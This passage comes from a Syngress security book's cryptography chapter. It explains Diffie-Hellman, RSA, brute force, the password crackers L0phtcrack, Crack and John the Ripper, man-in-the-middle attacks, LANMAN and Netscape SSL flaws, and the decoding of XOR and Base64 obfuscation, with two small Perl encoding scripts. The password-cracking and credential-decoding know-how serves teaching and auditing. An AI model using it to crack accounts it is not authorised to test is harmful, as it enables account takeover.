decrypted only by the intended recipient. In practice, this is how a key exchange using Diffie-Hellman works: The two parties agree on two numbers; one is a large prime number, the other is an integer smaller than the prime.They can do this in the open and it doesn’t affect security. Each of the two parties separately generates another number, which they keep secret.This number is equivalent to a private key.A calculation is made involving the private key and the previous two public numbers. The result is sent to the other party.This result is effectively a public key. The two parties exchange their public keys.They then privately perform a calculation involving their own private key and the other party’s public key.The resulting number is the session key. Each party will arrive at the same number. The session key can be used as a secret key for another cipher, such as DES. No third party monitoring the exchange can arrive at the same session key without knowing one of the private keys. The most difficult part of the Diffie-Hellman key exchange to understand is that there are actually two separate and independent encryption cycles happening. As far as Diffie-Hellman is concerned, only a small message is being transferred between the sender and the recipient. It just so happens that this small message is the secret key needed to unlock the larger message. Diffie-Hellman’s greatest strength is that anyone can know either or both of the sender and recipient’s public keys without compromising the security of the message. Both the public and private keys are actually just very large integers.The Diffie-Hellman algorithm takes advantage of complex mathematical functions known as discrete logarithms, which are easy to perform forwards but extremely difficult to find inverses for. Even though the patent on Diffie-Hellman has been expired for several years now, the algorithm is still in wide use, most notably in www.syngress.com 176 Chapter 6 • Cryptography the IPSec protocol. IPSec uses the Diffie-Hellman algorithm in conjunction with RSA authentication to exchange a session key that is used for encrypting all traffic that crosses the IPSec tunnel. RSA In the year following the Diffie-Hellman proposal, Ron Rivest, Adi Shamir, and Leonard Adleman proposed another public key encryption system.Their proposal is now known as the RSA algorithm, named for the last initials of the researchers. RSA shares many similarities with the Diffie-Hellman algorithm in that RSA is also based on multiplying and factoring large integers. However, RSA is significantly faster than Diffie-Hellman, leading to a split in the asymmetric cryptography field that refers to Diffie-Hellman and similar algorithms as Public Key Distribution Systems (PKDS) and RSA and similar algorithms as Public Key Encryption (PKE). PKDS systems are used as session-key exchange mechanisms, while PKE systems are generally considered fast enough to encrypt reasonably small messages. However, PKE systems like RSA are not considered fast enough to encrypt large amounts of data like entire filesystems or high-speed communications lines. NOTE RSA, Diffie-Hellman and other asymmetric algorithms use much larger keys than their symmetric counterparts. Common key sizes include 1024- bits and 2048-bits, and the keys need to be this large because factoring, while still a difficult operation, is much easier to perform than the exhaustive key search approach used with symmetric algorithms. The relative slowness of public key encryption systems is also due in part to these larger key sizes. Since most computers can only handle 32-bits of precision, different “tricks” are required to emulate the 1024-bit and 2048-bit integers. However, the additional processing time is somewhat justified, since for security purposes 2048-bit keys are considered to be secure “forever”—barring any exponential breakthroughs in mathematical factoring algorithms, of course. Because of the former patent restrictions on RSA, the algorithm saw only limited deployment, primarily only from products by RSA Security, until the mid-1990s. Now you are likely to encounter many programs making extensive use of RSA, such as PGP and Secure Shell (SSH).The RSA algorithm has been www.syngress.com Cryptography • Chapter 6 177 in the public domain since RSA Security placed it there two weeks before the patent expired in September 2000.Thus the RSA algorithm is now freely available for use by anyone, for any purpose. Understanding Brute Force Just how secure are encrypted files and passwords anyway? Consider that there are two ways to break an encryption algorithm—brute force and various cryptanalysis shortcuts. Cryptanalysis shortcuts vary from algorithm to algorithm, or may even be non-existent for some algorithms, and they are always difficult to find and exploit. Conversely, brute force is always available and easy to try. Brute force techniques involve exhaustively searching the given keyspace by trying every possible key or password combination until the right one is found. Brute Force Basics As an example, consider the basic three-digit combination bicycle lock where each digit is turned to select a number between zero and nine. Given enough time and assuming that the combination doesn’t change during the attempts, just rolling through every possible combination in sequence can easily open this lock. The total number of possible combinations (keys) is 103 or 1000, and let’s say the frequency, or number of combinations a thief can attempt during a time period, is 30 per minute.Thus, the thief should be able to open the bike lock in a maximum of 1000/(30 per min) or about 33 minutes. Keep in mind that with each new combination attempted, the number of remaining possible combinations (keyspace) decreases and the chance of guessing the correct combination (deciphering the key) on the next attempt increases. Brute force always works because the keyspace, no matter how large, is always finite. So the way to resist brute force attacks is to choose a keysize large enough that it becomes too time-consuming for the attacker to use brute force techniques. In the bike lock example, three digits of keyspace gives the attacker a maximum amount of time of 33 minutes required to steal the bicycle, so the thief may be tempted to try a brute force attack. Suppose a bike lock with a five-digit combination is used. Now there are 100,000 possible combinations, which would take about 55.5 hours for the thief check by brute force. Clearly, most thieves would move on and look for something easier to steal. When applied to symmetric algorithms such as DES, brute force techniques work very similarly to the bike lock example. In fact, this happens to be exactly www.syngress.com 178 Chapter 6 • Cryptography the way DES was broken by the EFF’s “Deep Crack.” Since the DES key is known to be 56 bits long, every possible combination of keys between a string of 56 zeros and a string of 56 ones is tested until the appropriate key is discovered. As for the distributed attempts to break DES, the five-digit bike lock analogy needs to be slightly changed. Distributed brute force attempts are analogous to having multiple thieves, each with an exact replica of the bike lock. Each of these replicas has the exact same combination as the original bike lock, and the thieves work on the combination in parallel. Suppose there are 50 thieves working together to guess the combination. Each thief tries a different set of 2,000 combinations such that no two thieves are working on the same combination set (subkeyspace). Now instead of testing 30 combinations per minute, the thieves are testing 1500 combinations per minute, and all possible combinations will be checked in about 67 minutes. Recall that it took the single thief 55 hours to steal the bike, but now 50 thieves working together can steal the bike in just over an hour. Distributed computing applications working under the same fundamentals are what allowed Distributed.net to crack DES in less than 24 hours. Applying brute force techniques to RSA and other public key encryption systems is not quite as simple. Since the RSA algorithm is broken by factoring, if the keys being used are sufficiently small (far, far smaller than any program using RSA would allow), it is conceivable that a person could crack the RSA algorithm using pencil and paper. However, for larger keys, the time required to perform the factoring becomes excessive. Factoring does not lend itself to distributed attacks as well, either.A distributed factoring attack would require much more coordination between participants than simple exhaustive keyspace coordination.There are projects, such as the www-factoring project (www.npac.syr.edu/factoring.html), that endeavor to do just this. Currently, the www-factoring project is attempting to factor a 130-digit number. In comparison, 512-bit keys are about 155 digits in size. Using Brute Force to Obtain Passwords Brute force is a method commonly used to obtain passwords, especially if the encrypted password list is available.While the exact number of characters in a password is usually unknown, most passwords can be estimated to be between 4 and 16 characters. Since only about 100 different values can be used for each character of the password, there are only about 1004 to 10016 likely password combinations.Though massively large, the number of possible password combinations is finite and is therefore vulnerable to brute force attack. www.syngress.com Cryptography • Chapter 6 179 Before specific methods for applying brute force can be discussed, a brief explanation of password encryption is required. Most modern operating systems use some form of password hashing to mask the exact password. Because passwords are never stored on the server in cleartext form, the password authentication system becomes much more secure. Even if someone unauthorized somehow obtains the password list, he will not be able to make immediate use of it, hopefully giving system administrators time to change all of the relevant passwords before any real damage is caused. Passwords are generally stored in what is called hashed format.When a password is entered on the system it passes through a one-way hashing function, such as Message Digest 5 (MD5), and the output is recorded. Hashing functions are oneway encryption only, and once data has been hashed, it cannot be restored.A server doesn’t need to know what your password is. It needs to know that you know what it is.When you attempt to authenticate, the password you provided is passed through the hashing function and the output is compared to the stored hash value. If these values match, then you are authenticated. Otherwise, the login attempt fails, and is (hopefully) logged by the system. Brute force attempts to discover passwords usually involve stealing a copy of the username and hashed password listing and then methodically encrypting possible passwords using the same hashing function. If a match is found, then the password is considered cracked. Some variations of brute force techniques involve simply passing possible passwords directly to the system via remote login attempts. However, these variations are rarely seen anymore due to account lockout features and the fact that they can be easily spotted and traced by system administrators.They also tend to be extremely slow. Appropriate password selection minimizes—but cannot completely eliminate— a password’s ability to be cracked. Simple passwords, such as any individual word in a language, make the weakest passwords because they can be cracked with an elementary dictionary attack. In this type of attack, long lists of words of a particular language called dictionary files are searched for a match to the encrypted password. More complex passwords that include letters, numbers and symbols require a different brute force technique that includes all printable characters and generally take an order of magnitude longer to run. Some of the more common tools used to perform brute force password attacks include L0phtcrack for Windows passwords, and Crack and John the Ripper for UNIX passwords. Not only do hackers use these tools but security professionals also find them useful in auditing passwords. If it takes a security professional N days to crack a password, then that is approximately how long it will www.syngress.com 180 Chapter 6 • Cryptography take an attacker to do the same. Each of these tools will be discussed briefly, but be aware that written permission should always be obtained from the system administrator before using these programs against a system. L0phtcrack L0phtCrack is a Windows NT password-auditing tool from the L0pht that came onto the scene in 1997. It provides several different mechanisms for retrieving the passwords from the hashes, but is used primarily for its brute force capabilities. The character sets chosen dictate the amount of time and processing power necessary to search the entire keyspace.Obviously, the larger the character set chosen, the longer it will take to complete the attack. However, dictionary based attacks, which use only common words against the password database are normally quite fast and often effective in catching the poorest passwords.Table 6.1 lists the time required for L0phtcrack 2.5 to crack passwords based on the character set selected. Table 6.1 L0phtcrack 2.5 Brute Force Crack Time Using a Quad Xeon 400 MHz Processor Test: Brute Force Crack Machine: Quad Xeon 400 MHz Character Set Time Alpha-Numeric 5.5 Hours Alpha-Numeric-Some Symbols 45 Hours Alpha-Numeric-All Symbols 480 Hours Used with permission of the L0pht L0pht Heavy Industries, the developers of L0phtcrack, have since sold the rights to the software to @stake Security. Since the sale,@stake has released a program called LC3, which is intended to be L0phtcrack’s successor. LC3 includes major improvements over L0phtcrack 2.5, such as distributed cracking and a simplified sniffing attachment that allows password hashes to be sniffed over Ethernet. Additionally, LC3 includes a password-cracking wizard to help the less knowledgeable audit their system passwords. Figure 6.2 shows LC3 displaying the output of a dictionary attack against some sample user passwords. LC3 reflects a number of usability advances since the older L0phtcrack 2.5 program, and the redesigned user interface is certainly one of them. Both www.syngress.com Cryptography • Chapter 6 181 L0phtCrack and LC3 are commercial software packages. However, a 15-day trial can be obtained at www.atstake.com/research/lc3/download.html. Crack The oldest and most widely used UNIX password cracking utility is simply called Crack. Alec Muffett is the author of Crack, which he calls a password-guessing program for UNIX systems. It runs only on UNIX systems against UNIX passwords, and is for the most part a dictionary-based program. However, in the latest release available (v5.0a from 1996), Alec has bundled Crack7, a brute force password cracker that can be used if a dictionary-based attack fails. One of the most interesting aspects of this combination is that Crack can test for common variants that people use when they think they are picking more secure passwords. For example, instead of “password,” someone may choose “pa55word.” Crack has user-configurable permutation rules that will catch these variants. More information on Alec Muffett and Crack is available at www.users.dircon.co.uk/~crypto. www.syngress.com Figure 6.2 Output of a Simple Dictionary-Based Attack 182 Chapter 6 • Cryptography John the Ripper John the Ripper is another password-cracking program, but it differs from Crack in that it is available in UNIX, DOS, and Win32 editions. Crack is great for older systems using crypt(), but John the Ripper is better for newer systems using MD5 and similar password formats. John the Ripper is used primarily for UNIX passwords, but there are add-ons available to break other types of passwords, such as Windows NT LanManager (LANMAN) hashes and Netscape Lightweight Directory Access Protocol (LDAP) server passwords. John the Ripper supports brute force attacks in incremental mode. Because of John the Ripper’s architecture, one of its most useful features is its ability to save its status automatically during the cracking process, which allows for aborted cracking attempts to be restarted even on a different system. John the Ripper is part of the OpenWall project and is available from www.openwall.com/john. A sample screenshot of John the Ripper is shown in Figure 6.3. In this example, a sample section of a password file in OpenBSD format is cracked using John the Ripper. Shown below the password file snippet is the actual output of John the Ripper as it runs.You can see that each cracked password is displayed on the console. Be aware that the time shown to crack all four passwords is barely over a minute only because I placed the actual passwords at the top of the “password.lst” listing, which John uses as its dictionary. Real attempts to crack passwords would take much longer.After John has cracked a password file, you can have John display the password file in unshadowed format using the show option. www.syngress.com Figure 6.3 Sample Screenshot of John the Ripper Cryptography • Chapter 6 183 Knowing When Real Algorithms Are Being Used Improperly While theoretically, given enough time, almost any encryption standard can be cracked with brute force, it certainly isn’t the most desirable method to use when “theoretically enough time” is longer than the age of the universe.Thus, any shortcut method that a hacker can use to break your encryption will be much more desirable to him than brute force methods. None of the encryption algorithms discussed in this chapter have any serious flaws associated with the algorithms themselves, but sometimes the way the algorithm is implemented can create vulnerabilities. Shortcut methods for breaking encryption usually result from a vendor’s faulty implementation of a strong encryption algorithm, or lousy configuration from the user. In this section, we’ll discuss several incidents of improperly used encryption that are likely to be encountered in the field. Bad Key Exchanges Because there isn’t any authentication built into the Diffie-Hellman algorithm, implementations that use Diffie-Hellman-type key exchanges without some sort of authentication are vulnerable to man-in-the-middle (MITM) attacks.The most notable example of this type of behavior is the SSH-1 protocol. Since the protocol itself does not authenticate the client or the server, it’s possible for someone to cleverly eavesdrop on the communications.This deficiency was one of the main reasons that the SSH-2 protocol was completely redeveloped from SSH-1. The SSH-2 protocol authenticates both the client and the server, and warns of or prevents any possible MITM attacks, depending on configuration, so long as the client and server have communicated at least once. However, even SSH-2 is vulnerable to MITM attacks prior to the first key exchange between the client and the server. As an example of a MITM-type attack, consider that someone called Al is performing a standard Diffie-Hellman key exchange with Charlie for the very first time, while Beth is in a position such that all traffic between Al and Charlie passes through her network segment. Assuming Beth doesn’t interfere with the key exchange, she will not be able to read any of the messages passed between Al and Charlie, because she will be unable to decrypt them. However, suppose that Beth intercepts the transmissions of Al and Charlie’s public keys and she responds to them using her own public key. Al will think that Beth’s public key is actually www.syngress.com 184 Chapter 6 • Cryptography Charlie’s public key and Charlie will think that Beth’s public key is actually Al’s public key. When Al transmits a message to Charlie, he will encrypt it using Beth’s public key. Beth will intercept the message and decrypt it using her private key. Once Beth has read the message, she encrypts it again using Charlie’s public key and transmits the message on to Charlie. She may even modify the message contents if she so desires. Charlie then receives Beth’s modified message, believing it to come from Al. He replies to Al and encrypts the message using Beth’s public key. Beth again intercepts the message, decrypts it with her private key, and modifies it.Then she encrypts the new message with Al’s public key and sends it on to Al, who receives it and believes it to be from Charlie. Clearly, this type of communication is undesirable because a third party not only has access to confidential information, but she can also modify it at will. In this type of attack, no encryption is broken because Beth does not know either Al or Charlie’s private keys, so the Diffie-Hellman algorithm isn’t really at fault. Beware of the key exchange mechanism used by any public key encryption system. If the key exchange protocol does not authenticate at least one and preferably both sides of the connection, it may be vulnerable to MITM-type attacks. Authentication systems generally use some form of digital certificates (usually X.509), such as those available from Thawte or VeriSign. Hashing Pieces Separately Older Windows-based clients store passwords in a format known as LanManager (LANMAN) hashes, which is a horribly insecure authentication scheme. However, since this chapter is about cryptography, we will limit the discussion of LANMAN authentication to the broken cryptography used for password storage. As with UNIX password storage systems, LANMAN passwords are never stored on a system in cleartext format—they are always stored in a hash format. The problem is that the hashed format is implemented in such a way that even though DES is used to encrypt the password, the password can still be broken with relative ease. Each LANMAN password can contain up to 14 characters, and all passwords less than 14 characters are padded to bring the total password length up to 14 characters. During encryption the password is split into a pair of sevencharacter passwords, and each of these seven-character passwords is encrypted with DES.The final password hash consists of the two concatenated DESencrypted password halves. www.syngress.com Cryptography • Chapter 6 185 Since DES is known to be a reasonably secure algorithm, why is this implementation flawed? Shouldn’t DES be uncrackable without significant effort? Not exactly. Recall that there are roughly 100 different characters that can be used in a password. Using the maximum possible password length of 14 characters, there should be about 10014 or 1.0x1028 possible password combinations. LANMAN passwords are further simplified because there is no distinction between upperand lowercase letters—all letters appears as uppercase. Furthermore, if the password is less than eight characters, then the second half of the password hash is always identical and never even needs to be cracked. If only letters are used (no numbers or punctuation), then there can only be 267 (roughly eight billion) password combinations.While this may still seem like a large number of passwords to attack via brute force, remember that these are only theoretical maximums and that since most user passwords are quite weak, dictionary-based attacks will uncover them quickly.The bottom line here is that dictionary-based attacks on a pair of seven-character passwords (or even just one) are much faster than those on single 14-character passwords. Suppose that strong passwords that use two or more symbols and numbers are used with the LANMAN hashing routine.The problem is that most users tend to just tack on the extra characters at the end of the password. For example, if a user uses his birthplace along with a string of numbers and symbols, such as “MONTANA45%,” the password is still insecure. LANMAN will break this password into the strings “MONTANA” and “45%.”The former will probably be caught quickly in a dictionary-based attack, and the latter will be discovered quickly in a brute force attack because it is only three characters. For newer businessoriented Microsoft operating systems such as Windows NT and Windows 2000, LANMAN hashing can and should be disabled in the registry if possible, though this will make it impossible for Win9x clients to authenticate to those machines. Using a Short Password to Generate a Long Key Password quality is a subject that we have already briefly touched upon in our discussion of brute force techniques.With the advent of PKE encryption schemes such as PGP, most public and private keys are generated using passwords or passphrases, leaving the password generation steps vulnerable to brute force attacks. If a password is selected that is not of significant length, that password can be brute force attacked in an attempt to generate the same keys as the user.Thus PKE systems such as RSA have a chance to be broken by brute force, not because of any deficiency in the algorithm itself, but because of deficiencies in www.syngress.com 186 Chapter 6 • Cryptography the key generation process.The best way to protect against these types of roundabout attacks is to use strong passwords when generating any sort of encryption key. Strong passwords include the use of upper- and lowercase letters, numbers, and symbols, preferably throughout the password. Eight characters is generally considered the minimum length for a strong password, but given the severity of choosing a poor password for key generation, I recommend you use at least twelve characters for these instances. High quality passwords are often said to have high entropy, which is a semi- finite measurement that attempts to quantify the relative quality of a password. Longer passwords typically have more entropy than shorter passwords, and the more random each character of the password is, the more entropy in the password. For example, the password “albatross” (about 30 bits of entropy) might be reasonably long in length, but has less entropy than a totally random password of the same length such as “g8%=MQ+p” (about 48 bits of entropy). Since the former might appear in a list of common names for bird species, while the latter would never appear in a published list, obviously the latter is a stronger and therefore more desirable password.The moral of the story here is that strong encryption such as 168-bit 3-DES can be broken easily if the secret key has only a few bits of entropy. Improperly Stored Private or Secret Keys Let’s say you have only chosen to use the strong cryptography algorithms, you have verified that there are not any flaws in the vendors’ implementations, and you have generated your keys with great care. How secure is your data now? It is still only as secure as your private or secret key.These keys must be safeguarded at all costs, or you may as well not even use encryption. Since keys are simply strings of data, they are usually stored in a file somewhere in your system’s hard disk. For example, private keys for SSH-1 are stored in the identity file located in the .ssh directory under a user’s home directory. If the filesystem permissions on this file allow others to access the file, then this private key is compromised. Once others have your private or secret key, reading your encrypted communications becomes trivial. (Note that the SSH identity file is used for authentication, not encryption; but you get the idea.) However, in some vendor implementations, your keys could be disclosed to others because the keys are not stored securely in RAM. As you are aware, any information processed by a computer, including your secret or private key, is located in the computer’s RAM at some point. If the operating system’s kernel www.syngress.com Cryptography • Chapter 6 187 does not store these keys in a protected area of its memory, they could conceivably become available to someone who dumps a copy of the system’s RAM to a file for analysis.These memory dumps are called core dumps in UNIX, and they are commonly created during a denial of service (DoS) attack.Thus a successful hacker could generate a core dump on your system and extract your key from the memory image. In a similar attack, a DoS attack could cause excess memory usage on the part of the victim, forcing the key to be swapped to disk as part of virtual memory. Fortunately, most vendors are aware of this type of exploit by now, and it is becoming less and less common since encryption keys are now being stored in protected areas of memory. www.syngress.com Netscape’s Original SSL Implementation: How Not to Choose Random Numbers As we have tried to point out in this section, sometimes it does not matter if you are using an algorithm that is known to be secure. If your algorithm is being applied incorrectly, there will be security holes. An excellent example of a security hole resulting from misapplied cryptography is Netscape’s poor choice of random number seeds used in the Secure Sockets Layer (SSL) encryption of its version 1.1 browser. You no doubt note that this security flaw is several years old and thus of limited importance today. However, below the surface we’ll see that this particular bug is an almost classic example of one of the ways in which vendors implement broken cryptography, and as such it continues to remain relevant to this day. We will limit this discussion to the vulnerability in the UNIX version of Netscape’s SSL implementation as discovered by Ian Goldberg and David Wagner, although the PC and Macintosh versions were similarly vulnerable. Before I can explain the exact nature of this security hole we will need to cover some background information, such as SSL technology and random numbers. SSL is a certificate-based authentication and encryption scheme developed by Netscape during the fledgling days of e-commerce. It was intended to secure communications such as credit card transactions from eavesdropping by would-be thieves. Because of U.S. export restrictions, the stronger and virtually impervious 128-bit (key) version of the technology was not in widespread use. In fact, even Tools & Traps… Continued 188 Chapter 6 • Cryptography Understanding Amateur Cryptography Attempts If your data is not being protected by one of the more modern, computationally secure algorithms that we’ve already discussed in this chapter, or some similar variant, then your data is probably not secure. In this section, we’re going to discover how simple methods of enciphering data can be broken using rudimentary cryptanalysis. www.syngress.com domestically, most of Netscape’s users were running the anemic 40-bit international version of the software. Most key generation, including SSL key generation, requires some form of randomness as a factor of the key generation process. Arbitrarily coming up with random numbers is much harder than it sounds, especially for machines. So we usually end up using pseudo-random numbers that are devised from mostly random events, such as the time elapsed between each keystroke you type or the movement of your mouse across the screen. For the UNIX version of its version 1.1 browser, Netscape used a conglomeration of values, such as the current time, the process ID (PID) number of the Netscape process and its parent’s process ID number. Suppose the attacker had access to the same machine as the Netscape user simultaneously, which is the norm in UNIX-based multi-user architectures. It would be trivial for the attacker to generate a process listing to discover Netscape’s PID and its parent’s PID. If the attacker had the ability to capture TCP/IP packets coming into the machine, he could use the timestamps on these packets to make a reasonable guess as to the exact time the SSL certificate was generated. Once this information was gathered, the attacker could narrow down the keyspace to about 106 combinations, which is then brute force attacked with ease at near realtime speeds. Upon successfully discovering Netscape’s SSL certificate seed generation values, he can generate an identical certificate for himself and either eavesdrop or hijack the existing session. Clearly, this was a serious security flaw that Netscape would need to address in its later versions, and it did, providing patches for the 1.x series of browsers and developing a new and substantially different random number generator for its 2.x series of browsers. You can read more details about this particular security flaw in the archives of Dr. Dobbs’ Journal at www.ddj.com/documents/s=965/ddj9601h. Cryptography • Chapter 6 189 Classifying the Ciphertext Even a poorly encrypted message often looks indecipherable at first glance, but you can sometimes figure out what the message is by looking beyond just the stream of printed characters. Often, the same information that you can “read between the lines” on a cleartext message still exists in an enciphered message. For the mechanisms discussed below, all the “secrecy” is contained in the algorithm, not in a separate key. Our challenge for these is to figure out the algorithm used. So for most of them, that means that we will run a password or some text through the algorithm, which will often be available to us in the form of a program or other black box device. By controlling the inputs and examining the outputs, we hope to determine the algorithm.This will enable us to later take an arbitrary output and determine what the input was. NOTE The techniques described in this section are largely ineffective on modern algorithms such as DES and its successors. What few techniques do exist to gain information from modern ciphertext are quite complicated and only work under special conditions. Frequency Analysis The first and most powerful method you can employ to crack simple ciphertext is frequency analysis, which is based on the idea that certain letters are used more often than others. For example, I can barely write a single word in this sentence that doesn’t include the letter e. How can letter frequency be of use? You can create a letter frequency table for your ciphertext, assuming the message is of suf- ficient length, and compare that table to one charting the English language (there are many available).That would give you some clues about which characters in the ciphertext might match up with cleartext letters. The astute reader will discover that some letters appear with almost identical frequency. How then can you determine which letter is which? You can either evaluate how the letters appear in context, or you can consult other frequency tables that note the appearance of multiple letter combinations such as sh, ph, ie and the. www.syngress.com 190 Chapter 6 • Cryptography Crypto of this type is just a little more complicated than the Caesar Cipher mentioned at the beginning of the chapter.This was state-of-the-art hundreds of years ago. Now problems of this type are used in daily papers for commuter entertainment, under the titles of “Cryptogram,”“CryptoQuote,” or similar. Still, some people will use this method as a token effort to hide things.This type of mechanism, or ones just slightly more complex, show up in new worms and viruses all the time. Ciphertext Relative Length Analysis Sometimes the ciphertext can provide you with clues to the cleartext even if you don’t know how the ciphertext was encrypted. For example, suppose that you have an unknown algorithm that encrypts passwords such that you have available the original password and a ciphertext version of that password. If the length or size of each is the same, then you can infer that the algorithm produces output in a 1:1 ratio to the input.You may even be able to input individual characters to obtain the ciphertext translation for each character. If nothing else, you at least know how many characters to specify for an unknown password if you attempt to break it using a brute force method. If you know that the length of a message in ciphertext is identical to the length of a message in cleartext, you can leverage this information to pick out pieces of the ciphertext for which you can make guesses about the cleartext. For example, during WWII while the Allies were trying to break the German Enigma codes, they used a method similar to the above because they knew the phrase “Heil Hitler” probably appeared somewhere near the end of each transmission. Similar Plaintext Analysis A related method you might use to crack an unknown algorithm is to compare changes in the ciphertext output with changes in the cleartext input. Of course, this method requires that you have access to the algorithm to selectively encode your carefully chosen cleartext. For example, try encoding the strings “AAAAAA,”“AAAAAB” and “BAAAAA” and note the difference in the ciphertext output. For monoalphabetic ciphers, you might expect to see the first few characters remain the same in both outputs for the first two, with only the last portion changing. If so, then it’s almost trivial to construct a full translation table for the entire algorithm that maps cleartext input to ciphertext output and vice versa. Once the translation table is complete, you could write an inverse function that deciphers the ciphertext back to plaintext without difficulty. www.syngress.com Cryptography • Chapter 6 191 What happens if the cipher is a polyalphabetic cipher, where more than one character changes in the ciphertext for single character changes in cleartext? Well, that becomes a bit trickier to decipher, depending on the number of changes to the ciphertext.You might be able to combine this analysis technique with brute force to uncover the inner workings of the algorithm, or you might not. Monoalphabetic Ciphers A monoalphabetic cipher is any cipher in which each character of the alphabet is replaced by another character in a one-to-one ratio. Both the Caesar Cipher and ROT13, mentioned earlier in the chapter, are classic examples of monoalphabetic ciphers. Some monoalphabetic ciphers scramble the alphabet instead of shifting the letters, so that instead of having an alphabet of ABCDEFGHIJKLMNOPQRSTUVWXYZ, the cipher alphabet order might be MLNKBJVHCGXFZDSAPQOWIEURYT. The new scrambled alphabet is used to encipher the message such that M=A, L=B…T=Z. Using this method, the cleartext message “SECRET” becomes “OBNQBW.” You will rarely find these types of ciphers in use today outside of word games because they can be easily broken by an exhaustive search of possible alphabet combinations and they are also quite vulnerable to the language analysis methods we described. Monoalphabetic ciphers are absolutely vulnerable to frequency analysis because even though the letters are substituted, the ultimate frequency appearance of each letter will roughly correspond to the known frequency characteristics of the language. Other Ways to Hide Information Sometimes vendors follow the old “security through obscurity” approach, and instead of using strong cryptography to prevent unauthorized disclosure of certain information, they just try to hide the information using a commonly known reversible algorithm like UUEncode or Base64, or a combination of two simple methods. In these cases, all you need to do to recover the cleartext is to pass the ciphertext back through the same engine.Vendors may also use XOR encoding against a certain key, but you won’t necessarily need the key to decode the message. Let’s look at some of the most common of these algorithms in use. XOR While many of the more complex and secure encryption algorithms use XOR as an intermediate step, you will often find data obscured by a simple XOR www.syngress.com 192 Chapter 6 • Cryptography operation. XOR is short for exclusive or, which identifies a certain type of binary operation with a truth table as shown in Table 6.2. As each bit from A is combined with B, the result is “0” only if the bits in A and B are identical. Otherwise, the result is 1. Table 6.2 XOR Truth Table A B A XOR B 0 0 0 0 1 1 1 0 1 1 1 0 Let’s look at a very simple XOR operation and how you can undo it. In our simple example, we will use a single character key (“a”) to obscure a single character message (“b”) to form a result that we’ll call “ciphertext” (see Table 6.3). Table 6.3 XOR of “a” and “b” Item Binary Value a 01100001 b 01100010 ciphertext 00000011 Suppose that you don’t know what the value of “a” actually is, you only know the value of “b” and the resulting “ciphertext.”You want to recover the key so that you can find out the cleartext value of another encrypted message, “cipher2,” which is 00011010.You could perform an XOR with “b” and the “ciphertext” to recover the key “a,” as shown in Table 6.4. Table 6.4 XOR of “ciphertext” and “b” Item Binary Value ciphertext 00000011 b 01100010 a 01100001 www.syngress.com Cryptography • Chapter 6 193 Once the key is recovered, you can use it to decode “cipher2” into the character “z” (see Table 6.5). Table 6.5 XOR of “cipher2” and “a” Item Binary Value cipher2 00011010 a 01100001 z 01111010 Of course, this example is somewhat oversimplified. In the real world, you are most likely to encounter keys that are multiple characters instead of just a single character, and the XOR operation may occur a number of times in series to obscure the message. In this type of instance, you can use a null value to obtain the key—that is, the message will be constructed such that it contains only 0s. Abstract 1 and 0 manipulation like this can be difficult to understand if you are not used to dealing with binary numbers and values.Therefore, I’ll provide you with some sample code and output of a simple program that uses a series of 3 XOR operations on various permutations of a key to obscure a particular message. This short Perl program uses the freely available IIIkey module for the backend XOR encryption routines.You will need to download IIIkey from www3.marketrends.net/encrypt/ to use this program. #!/usr/bin/perl # Encodes/Decodes a form of XOR text # Requires the IIIkey module # Written specifically for HPYN 2nd Ed. # by FWL 01.07.02 # Use the IIIkey module for the backend # IIIkey is available from http://www3.marketrends.net/encrypt/ use IIIkey; # Simple input validation sub validate() { if (scalar(@ARGV) < 3) { print "Error: You did not specify input correctly!\n"; www.syngress.com 194 Chapter 6 • Cryptography print "To encode data use ./xor.pl e \"Key\" \"String to Encode\"\n"; print "To decode data use ./xor.pl d \"Key\" \"String to Decode\"\n"; exit; } } validate(); $tmp=new IIIkey; $key=$ARGV[1]; $intext=$ARGV[2]; if ($ARGV[0] eq "e") { # encode text $outtext=$tmp->crypt($intext, $key); print "Encoded $intext to $outtext"; } elsif ($ARGV[0] eq "d") { # decode text $outtext=$tmp->decrypt($intext, $key); print "Decoded $intext to $outtext"; } else { # No encode/decode information given! print "To encode or decode? That is the question."; exit; } Here’s some sample output: $ ./xor.pl e "my key" "secret message" Encoded secret message to 8505352480^0758144+510906534 $ ./xor.pl d "my key" "8505352480^0758144+510906534" Decoded 8505352480^0758144+510906534 to secret message www.syngress.com Cryptography • Chapter 6 195 UUEncode UUEncode is a commonly used algorithm for converting binary data into a textbased equivalent for transport via e-mail. As you probably know, most e-mail systems cannot directly process binary attachments to e-mail messages. So when you attach a binary file (such as a JPEG image) to an e-mail message, your e-mail client takes care of converting the binary attachment to a text equivalent, probably through an encoding engine like UUEncode.The attachment is converted from binary format into a stream of printable characters, which can be processed by the mail system. Once received, the attachment is processed using the inverse of the encoding algorithm (UUDecode), resulting in conversion back to the original binary file. Sometimes vendors may use the UUEncode engine to encode ordinary printable text in order to obscure the message.When this happens, all you need to do to is pass the encoded text through a UUDecode program to discern the message. Command-line UUEncode/UUDecode clients are available for just about every operating system ever created. Base64 Base64 is also commonly used to encode e-mail attachments similar to UUEncode, under Multipurpose Internet Mail Extensions (MIME) extensions. However, you are also likely to come across passwords and other interesting information hidden behind a Base64 conversion. Most notably, many Web servers that implement HTTP-based basic authentication store password data in Base64 format. If your attacker can get access to the Base64 encoded username and password set, he or she can decode them in seconds, no brute force required. One of the telltale signs that a Base64 encode has occurred is the appearance of one or two equal signs ( = ) at the end of the string, which is often used to pad data. Look at some sample code for converting between Base64 data and cleartext. This code snippet should run on any system that has Perl5 or better with the MIME::Base64 module from CPAN (www.cpan.org).We have also given you a couple of usage samples. #!/usr/bin/perl # Filename: base64.pl # Encodes/Decodes Base-64 text # Requires the MIME::Base64 module # Written specifically for HPYN 2nd Ed. www.syngress.com 196 Chapter 6 • Cryptography # by FWL 01.07.02 # Use the MIME module for encoding/decoding Base-64 strings use MIME::Base64; # Simple input validation sub validate() { if (scalar(@ARGV) < 2) { print "Error: You did not specify input correctly!\n"; print "To encode data use ./base64.pl e \"String to Encode\"\n"; print "To decode data use ./base64.pl d \"String to Decode\"\n"; exit; } } validate(); $intext=$ARGV[1]; if ($ARGV[0] eq "e") { # encode text $outtext=encode_base64($intext); print "Encoded $intext to $outtext"; } elsif ($ARGV[0] eq "d") { # decode text $outtext=decode_base64($intext); print "Decoded $intext to $outtext"; } else { # No encode/decode information given! print "To encode or decode? That is the question."; exit; } Here’s some sample output: $ ./base64.pl e "Secret Password" Encoded Secret Password to U2VjcmV0IFBhc3N3b3Jk www.syngress.com Cryptography • Chapter 6 197 $ ./base64.pl d "U2VjcmV0IFBhc3N3b3Jk" Decoded U2VjcmV0IFBhc3N3b3Jk to Secret Password Compression Sometimes you may find that compression has been weakly used to conceal information from you. In days past, some 